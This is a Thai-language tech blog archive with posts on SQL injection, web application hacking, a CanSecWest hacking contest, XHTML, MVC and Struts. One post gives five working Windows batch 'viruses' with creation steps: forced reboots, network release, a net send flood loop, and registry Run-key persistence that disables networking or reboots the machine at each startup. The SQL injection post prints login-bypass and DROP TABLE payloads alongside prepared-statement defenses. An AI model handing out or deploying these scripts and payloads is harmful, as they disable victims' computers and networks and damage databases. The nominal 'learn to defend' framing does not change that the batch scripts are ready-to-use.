วันอังคารที่ 15 มิถุนายน พ.ศ. 2553

hack

SQL Injection
คือ การที่ในเวปมีการรับข้อมูลจากผู้ใช้ แล้วนำไปใช้ในการสั่งให้ฐานข้อมูลทำงาน แล้ว ผู้ใช้พยายามที่จะหลอกโปรแกรมให้ทำงานนอกเหนือจากที่เราต้องการ หรือ หลอกให้โปรแกรมทำงานโดยผ่านการตรวจสอบเงื่อนไขบางอย่าง

Injection Flaws

หมาย ถึง แฮกเกอร์สามารถที่จะแทรก Malicious Code หรือ คำสั่งที่แฮกเกอร์ใช้ในการเจาะระบบส่งผ่าน Web Application ไปยังระบบภายนอกที่เราเชื่อมต่ออยู่ เช่น ระบบฐานข้อมูล SQL โดยวิธี SQL Injection หรือ เรียก External Program ผ่าน shell command ของระบบปฎิบัติการ เป็นต้น

ส่วนใหญ่แล้วแฮกเกอร์จะใช้วิธีนี้ในช่วง การทำ Authentication หรือการ Login เข้าระบบผ่านทาง Web Application เช่น Web Site บางแห่งชอบใช้ “/admin” ในการเข้าสู่หน้า Admin ของ ระบบ ซึ่งเป็นช่องโหว่ให้แฮกเกอร์สามารถเดาได้เลยว่า เราใช้ http://www.mycompany.com/admin ในการเข้าไปจัดการบริหาร Web Site ดังนั้นเราจึงควรเปลี่ยนเป็นคำอื่นที่ไม่ใช่ “/admin” ก็จะช่วยได้มาก

วิธีการทำ SQL injection

ก็ คือ แฮกเกอร์จะใส่ชื่อ username อะไรก็ได้แต่ password สำหรับการทำ SQL injection จะใส่เป็น Logic Statement ยกตัวอย่างเช่น ‘ or ’1′ = ’1 หรือ ” or “1″= “1 หรือ a’ or 1=1–

Query = “SELECT * FROM product WHERE Password=’$input’”;
แต่ผู้ใช้ทำการใส่ ข้อมูลเป็น a’ or 1=1–
ดังนั้น query ที่ได้จะเป้น
Query = “SELECT * FROM product WHERE Password=’a’ or 1=1–’”;
จะเห็นว่าเมื่อนำไช้งานแล้ว จะสามารถเรียกดูข้อมูลได้เสมอ เนื่องจาก 1=1 เป็นจริง

สมมุติว่า มีโค้ดต่อไปนี้ใน application และ parameter “userName” ซึ่งประกอบด้วย
ชื่อผู้ใช้ ช่องโหว่แบบ SQL Injection เกิดขึ้นในโค้ดนี้:

statement := “SELECT * FROM users WHERE name = ‘” + userName + “‘;”

ถ้าป้อน “a’; DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%”
เข้าไปในส่วน “userName” จะทำให้เกิด SQL statement ต่อไปนี้

SELECT * FROM users WHERE name = ‘a’; DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%’;

ฐานข้อมูลจะเอ็กซิคิวท์ statement ตามลำดับ คือ select data, drop user table
และ select data ทำให้ผู้ใช้เว็ปสามารถดูหรือแก้ไขข้อมูลใด ๆ ที่อยู่ในฐานข้อมูล
ที่ผู้ใช้ที่เชื่อมโยงกับฐานข้อมูลสามารถอ่าน หรือแก้ไขได้

วิธีการป้องกัน

นัก พัฒนาระบบ (Web Application Developer) ควรจะระมัดระวัง input string ที่มาจากทางฝั่ง Client (Web Browser) และไม่ควรใช้วิธีติดต่อกับระบบภายนอกโดยไม่จำเป็น

ควรมีการ “กรอง” ข้อมูลขาเข้าที่มาจาก Web Browser ผ่านมาทางผู้ใช้ Client อย่างละเอียด และ ทำการ “กรอง” ข้อมูลที่มีลักษณะที่เป็น SQL injection statement ออกไปเสียก่อนที่จะส่งให้กับระบบฐานข้อมูล SQL ต่อไป

การใช้ Stored Procedure หรือ Trigger ก็เป็นทางออกหนึ่งในการเขียนโปรแกรมสั่งงานไปยังระบบฐานข้อมูล SQL ซึ่งมีความปลอดภัยมากกว่าการใช้ “Dynamic SQL Statement ” กับฐานข้อมูล SQL ตรงๆ

ช่องโหว่แบบ SQL Injection สามารถแก้ไขได้ใน programming language ส่วนใหญ่
ในภาษา Java ควรมีการใช้ PreparedStatement class

แทนที่จะใช้

Connection con = (acquire Connection)
Statement stmt = con.createStatement();
ResultSet rset = stmt.executeQuery(“SELECT * FROM users WHERE name = ‘” + userName + “‘;”);

ให้ใช้โค้ดต่อไปนี้แทน

Connection con = (acquire Connection)
PreparedStatement pstmt = con.prepareStatement(“SELECT * FROM users WHERE name = ?”);
pstmt.setString(1, userName);
ResultSet rset = stmt.executeQuery();





Knowledge Hackers Vs. Web Application Programmer

16 01 2009

Hacker ในอดีตแตกต่างจาก Hacker ในปัจจุบันและอนาคต เนื่องจาก Hacker ในอดีตนั้น มักจะเป็นผู้ที่มีความเชี่ยวชาญด้าน TCP/IP protocol suite หรือการเขียนโปรแกรมภาษา C อย่างลึกซึ้ง Hacker มักจะใช้ Exploit หรือ โปรแกรมเจาะระบบ เจาะผ่านทาง Port ต่างๆ ที่เปิดให้บริการบน Server ของเรา เช่น FTP Server จะเปิด Port 20 และ 21, Sun RPC บน Solaris Platform เปิด Port “Sun RPC” 111 เป็นต้น โดย Hacker นิยมเจาะระบบ Unix ผ่านทาง Port RPC โดยใช้ Exploit ของ Port 111 ซึ่งปกติจะเป็น Port Default ของ Solaris อยู่แล้ว (ข้อมูลเพิ่มเติมอ่านได้ที่ www.sans.org/top20)

แต่ในปัจจุบัน Hacker จำเป็นต้องมีการเปลี่ยนแปลงพฤติกรรมในการเจาะระบบเนื่องจาก ระบบส่วนใหญ่มีการป้องกันโดยใช้ Firewall และ มักจะปิด Port ต่างๆ ที่ไม่จำเป็น ตลอดจนปิดแม้กระทั่ง ICMP ซึ่งจะทำให้ Hacker ไม่สามารถใช้คำสั่ง PING มายังเครื่องของเราได้ โดยเราจะเปิด Port สำหรับการใช้งานผ่านทาง Web เท่านั้น คือ Port HTTP 80 และ HTTPS 443 (SSL) จะเห็นได้ว่า Hacker นั้นไม่สามารถเจาะระบบโดยใช้ Exploit เดิมๆ เพราะ Port ต่างๆ ถูกปิดโดย Firewall เรียบร้อยแล้ว ดังนั้น จึงเป็นที่มาของ การ Hack ในแนวใหม่ (Next Generation Hacking) ก็คือ “Web Application Hacking” เจาะเฉพาะ Port 80 และ Port 443 (เพราะ Firewall ของทุกองค์กรยังไงก็ต้องเปิด Port 80 เพื่อให้คนภายนอกเข้ามาเยี่ยมชม Website)

Hacker ในปัจจุบันจึงจำเป็นต้องมีความรู้ด้านการเขียนโปรแกรม Web Application ด้วย ถ้าเป็น Windows Platform ก็ต้องศึกษาเกี่ยวกับ IIS Web Server, Active Server Page (ASP) หรือถ้าใช้ Unix/Linux Platform ก็ต้องศึกษาเกี่ยวกับ Apache Web Server, mod_SSL, PERL หรือภาษายอดนิยม PHP และ Java Server Page (JSP) เป็นต้น

แน่นอนว่า Web Application นั้นถูกเขียนโดย Web Programmer ส่วนใหญ่มักจะมีความเชี่ยวชาญในการเขียนภาษา ASP หรือ PHP บางคนก็ชอบใช้ Content Management System เช่น PHPnuke (www.phpnuke.org) หรือ PHPbb (www.phpbb.com) ซึ่งล้วนแต่มีช่องโหว่ให้กับ Hacker โดยปกติแล้ว Web Programmer มักจะไม่ได้สนใจเรื่องของ Security โดยตรง จะมีเพียงบางคนที่ศึกษาเรื่องนี้อย่างจริงจัง ดังนั้นการเขียน Web Application ที่ไม่ได้คำนึงถึงด้าน Web Application Security นั้น จึงเป็นการเปิดช่องให้กับ Hacker ในการเจาะระบบ ผ่านทาง Port 80 หรือ Port 443 ได้อย่างง่ายดาย โดยที่ Firewall ไม่สามารถที่จะป้องกันได้เลย

การเจาะระบบผ่านทาง Port 80 หรือ 443 นั้น ไม่ยากอย่างที่เราคิด ลองตรวจสอบระบบของเราเองดู ด้วยวิธีการที่เรียกกันในกลุ่มคนที่ทำงานด้าน Information Security ว่า “Vulnerability Assessment” โดยใช้โปรแกรมจำลองการเจาะระบบ ตัวอย่างเช่นโปรแกรม N-Stealth จาก Website http://www.nstalker.com เราจะพบว่า Web Server ของเรา ไม่ว่าจะเป็น IIS หรือ Apache ล้วนมีช่องโหว่ที่ Hacker สามารถมองเห็นโดยโปรแกรมจะวิเคราะห์ช่องโหว่ใน CGI Script, PERL Script ตลอดจน ASP, PHP, Cold Fusion และ JSP Script ด้วย

ช่องโหว่ใน Web Application นั้น มีหลายประเภทเช่น Hidden Manipulation, Cookie Poisoning, Buffer Overflow, SQL Injection, Cross Site Scripting (XSS) Flaws (ซึ่งผมจะกล่าวรายละเอียดในฉบับต่อไป)

ถามว่าวันนี้เรามีทั้ง Firewall และ IDS ในระบบของเราแล้วเราจะปลอดภัยจากการโจมตีของ Hacker หรือไม่ คำตอบก็คือ ไม่ได้ 100% เพราะยังไงเราก็ต้องเปิด Port ให้คนเข้ามาที่ Web Server ของเราอยู่ดี และ Web Application Programmer ส่วนใหญ่ก็ไม่ได้มีความรู้ในระดับของ Hacker ตลอดจนงานพัฒนาโปรแกรมนั้นก็มักจะเป็นงานที่เร่งรีบเสียจนไม่มีเวลาที่จะมา ตรวจสอบ Source Code เพื่อความปลอดภัยของระบบ ดัง นั้นทางแก้ไขแบบบูรณาการก็คือ เราต้องถ่ายทอดความรู้ด้าน “Web Application Security” ให้กับโปรแกรมเมอร์ เพื่อโปรแกรมเมอร์จะได้มีความตระหนักถึงการจู่โจมของ Hacker เรียกว่าสร้าง “Security Awareness” ตลอดจนมีการนำ Source Code มาตรวจสอบทั้งแบบ Manual และ Automated โดยใช้ Tools ที่มีอยู่มากมายใน Internet ก็สามารถจะช่วยลดความเสี่ยงที่เกิดขึ้นกับ Web Application ของเราได้กว่า 50 %





สร้าง Web Application ใน 6 นาที (ด้วย Java ซะด้วย)

7 01 2009

เป็นที่ยอมรับกันทั่วไปว่า Prototype นั้นเริ่มเป็นที่นิยมในบรรดา JavaScript Library ทั้งหลาย แต่สำหรับ Java programmer แล้ว การใช้ Prototype เป็นเรื่องน่าปวดหัวอยู่ไม่น้อยครับ พอดีไปเจองานของ Jason Bell ออก alpha release ของ JSP Tag library ใหม่ใน sourceforge.net ตั้งชื่อว่า “prototaglib” เห็นชื่อก็คงเดาออกว่าเป็น JSP tag library สำหรับเรียกใช้ prototype

การทำงานเจ้าตัวคุยว่าเหมือน Ruby On Rails แถมมี screencast แสดงตัวอย่างคล้ายๆกับตัวอย่างยอดนิยมของ Ruby on Rails ออกมาบนเว็ปไซต์ด้วย เป็นการสร้าง web application ทั้งตัวโดยใช้ Flickr API โดยทำงานทั้งหมดบน NetBeans IDE ใช้เวลาสร้าง web application ตัวอย่างนี้แค่ 6 นาที

น่าสนใจดีครับ เพราะสามารถสร้าง link หรือ form based remote tags ที่เรียก servlet หรือ jsp ให้แสดงผลใน

ที่ต้องการ และมี tags ที่ update div ตามเวลาที่กำหนด (ทำ push content) ด้วยครับ

ลองไปดู Screencast แสดงการสร้าง web app ดังกล่าวรวมทั้ง download มาลองได้ที่เว็ปครับ Link

ที่มา : http://www.blognone.com/node/3743





การแข่งขัน HACK OS หรือ การเจาะ ระบบปฏิบัติการคอมพิวเตอร์

7 01 2009

เก็บตกสีสันงานแข่งแฮกเมืองมะ กัน Vista-MacBook ถูกเจาะเรียบเหลือแต่ลินุกส์

สรุป ผลการแข่งขันเจาะระบบคอมพิวเตอร์ในงานประชุม CanSecWest ที่สหรัฐอเมริกา ปรากฎว่าผู้เข้าแข่งขันสามารถเจาะไข่แดง MacBook Air คอมพิวเตอร์แมคอินทอชบางเฉียบล่าสุดจากแอปเปิลได้ในเวลา 2 นาที คิวต่อมาคือระบบปฏิบัติการ Vista ในโน้ตบุ๊ก Fujitsu ถูกเจาะระบบสำเร็จในวันสุดท้ายของการแข่งขัน เหลือเพียง ซอฟต์แวร์ระบบปฏิบัติการลินุกส์ (Linux) ซึ่งติดตั้งใน Sony Vaio ที่ไม่มีนักแฮกรายใดเจาะระบบจนสำเร็จ

งานประชุม CanSecWest นี้จัดขึ้นเมื่อปลายสัปดาห์ที่ผ่านมาโดยมีบริษัท TippingPoint ในเครือ 3Com เป็นผู้สนับสนุนหลัก การแข่งขันเจาะระบบจัดขึ้นโดยทีมงานจัดหาคอมพิวเตอร์โน้ตบุ๊ก 3 เครื่องซึ่งมีระบบปฏิบัติการคนละชนิดคนละค่าย กติกาคือผู้แข่งขันจะต้องเจาะระบบคอมพิวเตอร์เครื่องใดเครื่องหนึ่งและเข้า ไปติดตั้งซอฟต์แวร์ของตัวเองลงในคอมพิวเตอร์เครื่องนั้น ใครสามารถทำได้ในวันแรกรับเงินรางวัลไปเลย 20,000 เหรียญสหรัฐฯ แต่ถ้าใครสามารถแฮกในวันที่สองของการแข่งขัน เงินรางวัลจะลดลงครึ่งหนึ่งเหลือ 10,000 เหรียญ เพื่อไม่ให้นักแฮกเคร่งเครียดจนเกินไป

วันแรกผ่านไปโดยที่นักแฮกตีไข่ไม่แตก แต่วันที่สอง Charlie Miller จากบริษัทรักษาความปลอดภัย Independent Security Evaluators สามารถสอย MacBook Air โดยใช้ช่องโหว่ในซอฟต์แวร์เว็บบราวเซอร์ Safari สำเร็จ หลังจากมุ่งเจาะระบบเพียง 2 นาที Miller ก็กลับบ้านพร้อมเงินรางวัล 10,000 เหรียญเมื่อวันพฤหัสบดีที่ผ่านมา

สำหรับ Vista นั้นถูกเจาะโดย Shane Macaulay ใช้เวลาเจาะนานกว่า 2 วันก่อนจะสามารถทำได้สำเร็จในวันศุกร์ ได้รับความช่วยเหลือจากเพื่อนนาม Derek Callaway เล็กน้อย จุดนี้รายงานระบุว่าผิดแผนเพราะ Macaulay ไม่ได้คิดว่าจะต้องมาเจาะระบบ Vista Service Pack 1 ซึ่งมีระบบป้องกันภัยสูงกว่า

ตามกฎการแข่งขัน Macaulay และ Miller จะไม่สามารถเปิดเผยรายละเอียดการเจาะระบบได้จนกว่าแอปเปิลและไมโครซอฟท์จะ แก้ปัญหาที่เกิดขึ้นแล้วเสร็จ Macaulay จึงให้สัมภาษณ์เพียงว่ารูรั่วซึ่งเค้าใช้เป็นช่องทางในการเจาะระบบคือช่อง โหว่ระหว่าง 2 แพลตฟอร์มคือ Java และระบบความปลอดภัยของ Vista และเป็นไปได้ที่ความผิดพลาดนี้จะเกิดขึ้นทั้งในระบบปฏิบัติการลินุกส์และแมค โอเอสเท็น (Mac OS X)

และแม้ผู้เข้าแข่งขันหลายคนจะเลือกเจาะระบบปฏิบัติการลินุกส์ แต่ก็ไม่มีใครทำสำเร็จ จุดนี้ผู้จัดค่อนข้างประหลาดใจเนื่องจากผู้เข้าแข่งขันในจำนวน 400 คนรายงานว่าพบจุดบกพร่องจำนวนหนึ่งในลินุกส์ แต่ก็ไม่มีใครพยายามเจาะเข้าไปเพื่อเอาชนะการแข่งขัน

ด้าน Miller ระบุว่าเลือกเจาะระบบปฏิบัตการ Mac เพราะคิดว่าเป็นเป้าหมายที่ง่ายที่สุด ต่างจาก Macaulay ที่ระบุว่าเลือก Vista เพราะคิดว่ายังไงซะก็ต้องเลือก Vista





วิธี สร้างไวรัส สดๆ ศึกษาแต่อย่าลองนะครับ

5 01 2009

ไวรัส #1 กดแล้ว ปิดเครื่อง
ตัวนี้ไม่มีไรมาก แค่ดับเบิลคลิกมัน เครื่องก็ ชัตดาวน์ทันที ไม่ทำลายข้อมูลใดๆทั้งสิ้น

Code:
@echo off
TITLE Mr_Unlocker
shutdown -r -f -t0

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat

***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
=============================================

ไวรัส # 2 ตัดการเชื่อมต่ออินเตอร์เน็ต/เน็ตเวิร์ก
อันนี้แรงขึ้นมาหน่อย จะตัดการทำงานของอินเตอร์เน็ต


Code:

@echo off
TITLE Mr_Unlocker
ipconfig /release

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat

***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***

=============================================

Virus#3 Combo Virus
ตัวนี้จะมีความต่อเนื่องจากสองตัวข้างบน คือ เมื่อคลิกแล้ว จะทำ flood network และการทำงานจะวน loop จนเน็ตเวิร์กเดี้ยง

Code:
@echo off
TITLE Mr_Unlocker :CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat

***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
=============================================

*ต่อไปนี้จะเป็นไวรัสที่สร้างความรุนแรงจริงๆนะครับ อย่าเผลอลองเชียว


Virus#4 Disble IP Address
โดนตัวนี้เข้าไปก็อย่าหวังเลยว่าจะเข้าอินเตอร์เน็ตได้อีก – -’


Code:

@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Unlocker Hackers Strike Again
PAUSE

วิธีทำ

1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat

***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
=============================================

Virus#5 สั่งปิดเครื่องทุกๆครั้งที่เปิดจนถึง11วินาที (เปิดแล้วก็ปิดอยู่อย่างนั้น)

code:
@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Unlocker Hackers Strike Again
PAUSE

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat

***อย่าดับเบิลคลิกเพื่อ ทดลองเด็ดขาด***

เรียนรู้เพื่อป้องกัน ไม่ใช่แกล้งคนอื่นนะครับ ถ้าอยากลองต้องใช้พวกโปรแกรมจำลองเครื่องทดสอบดีกว่าครับ VMWARE หรือโปรแกรมตระกูลประมาณนี้แหละครับ ลองเองที่เครื่องเลยจะเสี่ยงไปหน่อย ขอเตือนแบบจริง!





มารู้จักกับ xhtml กันก่อน

25 12 2008

XHTML (Extensible HyperText Markup Language) มาตรฐานใหม่ เพราะว่า html แบบเดิมๆนั้น ไม่สามารถแสดงผลได้ตรงกันในทุก browser ได้นั่นเอง ทาง องค์กร W3C จึงได้กำหนดมาตรฐานใหม่ เป็น xhtml โดยนำข้อดีของ xml และ html มารวมเข้าด้วยกัน และเพิ่มกฎเกณฑ์บางประการ ให้มีความเข้มงวดมากยิ่งขึ้น เพื่อให้เป็นมาตรฐานเดียวกัน และแสดงผลในทุก browser ได้อย่างถูกต้อง

รูปแบบเอกสาร xhtml



……



………………….

ในเอกสาร xhtml นั้นจะต้องกำหนด DOCTYPE ด้วยทุกครั้ง DOCTYPE แต่ละรูปแบบต่างกันอย่างไร

จุดสำคัญของ xhtml

  • ต้องมีลักษณะเป็น Well formed รูปแบบถูกต้อง ไม่พิมพ์ตกหล่น
  • ทุก tag ต้องมี tag ปิด ด้วยเสมอ
  • เช่น

    ปิดด้วย


    ถ้าเป็น tag ที่แต่เดิมไม่มีตัวปิดให้เขียนในลักษณะนี้
    ,

  • ชื่อ tag และ attribute ต้องเป็นตัวพิมพ์เล็ก ทั้งหมด
  • ไม่ควรเขียน


    แต่จะต้องเป็น

  • attribute values ต้องคลุมด้วย quoted
  • เช่น

    ต้องเขียนเป็น

สำหรับผมใช้ Dreamweaver8 เราก็กำหนดให้เป็นเอกสาร xhtml ตั้งแต่ต้นได้เลย กด File / New จะมีกล่องด้านล่างขวา ให้เลือก Doctype

แนะนำให้เลือกเป็น xhtml1.0-transitional ครับ





กำลังบ้า ภาค MVC

22 12 2008

Model-view-controller (MVC) เป็น การแยกการพัฒนา Software ออกมาเป็น 3 ส่วนหลัก ๆ (หรือบางคนเรียกกว่า 3 Layer) ซึ่งได้แก่ Model, View และ Controller

  • Model เป็นการตัดสินใจ (Domain logic) ในการเข้าถึงและใช้งานข้อมูล (Raw data) ซึ่งเป็นไปตามกฎที่ตั้งไว้ (Business Rule)
  • View เป็นส่วนของการนำข้อมูลที่ได้จาก Model มาแสดงผลให้ผู้ใช้ได้ทราบข้อมูลผ่านทางส่วนติดต่อกับผู้ใช้งาน (User Interface,UI)
  • Controller เป็นส่วนที่ตอบรับและโต้ตอบการทำงานของผู้ ใช้ (Event และ Responds) โดยจะเป็นตัวกระตุ้นให้ Model และ View ทำงานไปในทิศทางเดียวกัน

ขั้นตอนการทำงานของ MVC แบบคราว ๆ

เหตุการณ์สมมติ “นักเรียนต้องการส่งคำตอบในการทำข้อสอบให้กับครูผู้สอน” การ ทำงานแบบ MVC จะมีลักษณะดังนี้

  1. เมื่อนักเรียนกดปุ่ม Submit เพื่อส่งข้อสอบ ซึ่งอยู่ที่ View จะส่งคำร้องนี้ไปยัง Controller (1) จะทำการรับการโต้ตอบ จากปุ่ม Submit และสร้าง handler หรือ callback ขึ้นมา เพื่อใช้ติดต่อระหว่าง Layer
  2. Controller ทำการเลือก Model ที่ตรงกับข้อมูลของผู้ใช้ที่ส่งข้อมูลเข้ามา (2) แล้ว Model ทำการตรวจสอบความถูกต้องของข้อมูลตามกฎที่ตั้งไว้ (Business Rules) ถ้ามีข้อผิดพลาดจะส่งคำร้องไปยัง View (5) ให้ทำการสร้างหน้าแจ้งข้อผิดพลาดออกมาและจบการทำงานทันที แต่ถ้าไม่มีข้อผิดพลาดจะใส่ข้อมูลนั้นลงฐานข้อมูล โดยที่ Model จะเป็นคนจัดการข้อมูลในฐานข้อมูลเองทั้งหมด (3) แล้ว Controller จะบอกให้ View (4) จะทำการสร้างส่วนติดต่อกับผู้ใช้ใหม่ขึ้นมาโดยไปดึงผลคะแนนที่ได้มาจาก Model (5) ออกมาแสดงที่ส่วนติดต่อผู้ใช้งาน (User Interface,UI)
  3. และการทำงานจะเป็นแบบไหนไปเรื่อย ๆ จนกว่าโปรแกรมจะจบการทำงาน

จากตัวอย่างด้านบนคงจะพอเห็นภาพแล้วว่าการติดต่อระหว่าง Model, View และ Controller แล้ว เมื่อเราสามารถแยกการทำงานของโปรแกรมของเราได้ในรูปแบบนี้ จะทำให้การดูแลและแก้ไขระบบเป็นไปด้วยความรวดเร็ว และลดความซับซ้อนในการสร้างลงไปมาเลยทีเดียว





Library กับ Framework และ API ต่างกันยังไง?

17 12 2008

สำหรับปัญหานี้ก้อเป็นปัญหาที่ผมพยายาม หลีกเลี่ยงอยู่ เพราะว่าก้อไม่น่าชัดถึงความหมายมัน ลองเปิดเน็ต Search ดูก้อไม่ค่อยเจออะไรที่โดนซักเท่าไหร่
วันนี้ก้อลองเข้าไปหาใหม่ ประกฏว่า ไม่ต่างจากเดิมมาก ก้อเลยตัดสิ้นใจลองเขียนตามความเข้าใจของเราละกัน เผื่อใครมาเห็นแล้ว จะได้แลกเปลี่ยนกันได้

เอาเป็นว่าขออธิบายตามความเข้าใจละกันนะครับ
Library – แปลตรงๆ ก้อคงจะเป็นห้องสมุด 555
แต่ความหมายในการเขียนโปรแกรมง่ายๆ คือ การรวม Function อำนวยความสะดวก เช่น เรามีฟังก์ชั่นที่เขียนเองเอาไว้อำนวยความสะดวก ไอ่ครั้นจะต้องมานั่งเขียนใหม่ทุกครั้ง ก้อแย่ เลยแยกพวกฟังก์ชั่นเหล่านี้ออกมา เป็นไฟล์ คราวหน้าถ้าจะใช้ก็สามารถ include เข้าไปเรียกใช้ได้ง่ายๆ

Framework – โครงร่างการเขียนโปรแกรม
ตามความคิดหมายถึง การนำ Library หลายตัว ที่ทำงานในด้านเดียวกัน หรือเกื้อหนุนกัน เอามาวางเป็นกลุ่มก้อน เพื่ออำนวยความสะดวกให้กับผู้ใช้ เช่น ถ้าปกติเราต้องการดึงข้อมูลมาแสดงบนเว็บ เราจะต้องเขียนโค๊ดเยอะแยะมากมาย มีการตรวจสอบ Error ฯลฯ กว่าที่จะได้ content page ขึ้นมาซักหนึ่งหน้า แต่ถ้าเราใช้ Framework เราอาจจะสั่งแค่ $News->getPage(13); ก้อได้จะ content page ที่ id = 13 มาแล้ว ซึ่งในการทำงานของ Framework จริงๆแล้วจะมีการเรียกฟังก์ชั่นเยอะแยะมากมายเพื่อทำงานให้ได้ผลตามคำสั่ง นี้





Struts MVC

14 12 2008


Struts คืออะไร?
Struts Framework คือการ implement model-view-controller MVC design pattern สำหรับ enterprise application ด้วย java (java ee) struts เป็นส่วนหนึ่งของ Apache Jakarta project และเป็น open source ดังนั้นคุณจึงสามารถ download library struts มาใช้งานได้ฟรีๆ Struts Framework เป็นเหมือนชุดการพัฒนา web application ซึ่งเหมาะกับหลายๆขนาด

ก่อนอื่นเราต้องเข้าใจก่อนว่า Model-View-Controlller คืออะไร?
Model-View-Controller เป็นสถาปัตยกรรมที่แบ่งส่วนต่างๆของการพัฒนา application ออกเป็น 3 ส่วนซึ่งประกอบด้วย
Model component, View component และ Controller component ซึ่งในแต่ละ component สามารถพัมนา application โดยไม่ขึ้นกับ componentใด component หนึ่ง หมายความว่า เมื่อมีการเปลี่ยนแปลง component ใด component หนึ่ง จะไม่กระทบกับ component อื่นๆ

Model ทำหน้าที่
1. รับผิดชอบการจัดการนำข้อมูลขึ้นมาจาก Database และเก็บข้อมูลไว้
2. รับผิดชอบในส่วนของ business logic ก็อยู่ใน Model เช่น การเข้าถึงข้อมูล, การยืนยันความถูกต้องของข้อมูล และ logic การเก็บข้อมูล เป็นต้น หรือบาง framework อาจจะมีในส่วนของ Business Service ด้วยอันนี้ขึ้นอยู่กับมุมมองครับ

View ทำหน้าที่แสดงผล Graphic User Interface GUI เพื่อให้ user สามารถโต้ตอบกับ application ที่เราพัฒนาขึ้นมาได้ และทำหน้าที่รับ input จาก user view ที่พูดถึงถ้าอิงกับการพัฒนา web application ก็อาจเป็นได้ทั้ง HTML, JSP

Controller เป็นตัวสื่อกลางที่ทำงานประสานกันระหว่าง Model และ View Controller ทำหน้าที่ส่ง request ที่ได้จาก Client แล้วดูว่า request นี้จะส่งไปให้ Model ตัวใด และเมื่อได้ผลลัพธ์จาก Model แล้วก็จะดูต่อว่า response ที่ได้จะส่งไปให้ View ตัวใดแสดงผล ถ้าดูตาม Struts Framework ส่วน Controller ก็คือส่วนของ ActionServlet, Action, ActionForm และ struts-config.xml

ดังที่กล่าวมาแล้วทั้งหมดจะมีหลักการทำงานคร่าวๆ ดังนี้คือ เมื่อ client มีการส่ง request ไปหา server request นั้นจะถูกส่งไปที่ controller จากนั้น controller จะเป็นตัวดูว่า request ทีได้นั้นจะไปเรียก model ตัวใดให้ทำงาน แล้วเมื่อ model ทำงานเสร็จจะส่ง response กลับมาที่ controller และ controller จะเป็นตัวควบคุมอีกทีว่า response นี้จะให้ view ตัวไหนแสดงผลลัพธ์ออกมาพร้อมกับข้อมุลที่ได้มาจากชั้นของ model

ถามว่าทำไมต้องออกแบบ application ตาม MVC ด้วยละ?
ตอบ ผมขอยกตัวอย่างง่าย เนื่องจากว่าการทำ enterprise application นั้นจะมีความซับซ้อนมาก สมมุติหากเราไม่ใช้ MVC เกิดเราต้องการแก้ไข view ซักหนึ่งตัวมันก็จะมีผลกระทบกับส่วนอื่นๆตามมาเช่นการดึงข้อมูล, validation data เป็นต้น แต่ถ้าเราออกแบบ application ตามแบบของ MVC การแก้ไข view แต่ละครั้งจะไม่มีผลกระทบกับส่วนอื่นๆเลย

ที่ผมพูดถึงมันหมายถึงการพัฒนา application ขนาดใหญ่ทั้งนั้น แต่ถ้าเราพัฒนา application ขนาดเล็กๆอาจจะไม่จำเป็นตัวออกแบบตามแบบของ
MVC ก็ได้ อันนี้ขึ้นอยู่กับปัจจัยอื่นๆด้วย

ทำไมต้อง Struts ด้วย?
ตอบ ผมมองว่ามันมีความยุ่งยากน้อยและเข้าใจง่าย แล้วถ้าเข้าใจ concept แล้วยังเป็นพื้นฐานกับการเข้าใจ framework ตัวอื่นๆอีกด้วยเช่น JSF ซึ่งบทความเกี่ยวกับ JSF จะมีการ update อยู่ตลอดอยู่แล้ว ถึงแม้ว่าในปัจจุบันการใช้งาน Struts Framework เริ่มที่จะหมดความนิยมแต่ถ้าเทียบกับการ learning curve ที่เข้าใจง่ายและเป็นพื้นให้กับ framework ตัวอื่นๆได้ด้วยก็นับว่าน่าสนใจที่จะเรียนรู้กับมัน

เพื่อความเข้าใจที่ลึกซึ้งขอให้อ่าน reference เพิ่มเติมเรื่อง MVC ที่ sun เขียนไว้ : http://java.sun.com/blueprints/patterns/MVC-detailed.html

ที่มา : http://blog.middleware.co.th/2007/07/1-struts-mvc.html





เข้า เว็บโดนห้ามคลิกขวา เซ็งจิต! เอาซะเลย

8 12 2008

เบื่อกับเว็บห้ามคลิกขวาจริงๆ (วิธีต่อไปนี้สำหรับ firefox ie อาจใช้ไม่ได้)
ลองนี่ —> http://roachfiend.com/archives/2005/03/03/allow-right-click/
ก็ใช้ได้แล้วครับ ล็อคไว้ ก็ปลดได้

